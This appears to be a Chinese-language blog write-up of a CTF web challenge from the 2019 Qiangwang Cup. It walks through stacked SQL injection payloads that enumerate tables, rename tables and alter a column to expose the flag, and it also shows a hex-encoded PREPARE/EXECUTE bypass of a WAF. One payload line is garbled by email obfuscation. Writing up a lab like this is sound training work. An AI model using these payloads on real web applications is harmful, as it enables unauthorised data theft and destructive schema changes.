[强网杯 2019]随便注

这道题和前面那道差不多,也是堆叠注入
随便注

sqlmap是没有灵魂的

1';show databases;#

sql注入学习

1';show tables;#

sql注入学习
有两个表

1'; show columns from `1919810931114514`;#

sql注入学习

1'; show columns from `words`;#

sql注入学习
这里获取flag的操作比较骚,参考以为大佬的:
因为这里有两张表,内容是从words表中会显的
内部的查询逻辑推断是:

select id, data from word where id =$POST[inject]

所以我们的做法是:

  1. words表名改成word1或者其他
  2. 1919810931114514表名改成words
  3. 然后把新的 words 里的 flag 列改为 id(避免一开始无法查询)

payloads

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

说明一下:

  • CHARACTER SET utf8表示设置数据库的默认编码为utf8
  • COLLATE utf8_general_ci数据库校对规则。ci是case insensitive的缩写,意思是大小写不敏感;相对的是cs,即case sensitive,大小写敏感

这两句在注入的时候可以不加,即:

1';
RENAME TABLE `words` TO `words1`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100);#

然后用 1' or '1'='1 访问一下。
sql注入学习

成功得到flag

通过预编译的做法:

payload:

1';
[email protected]=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

其中0x73656c656374202a2066726f6d20603139313938313039333131313435313460是转化成16进制绕过waf,

select * from `1919810931114514`

参考

2019 第三届强网杯 Web 部分 WriteUp + 复现环境

最后修改:2021 年 01 月 31 日
如果觉得我的文章对你有用,请随意赞赏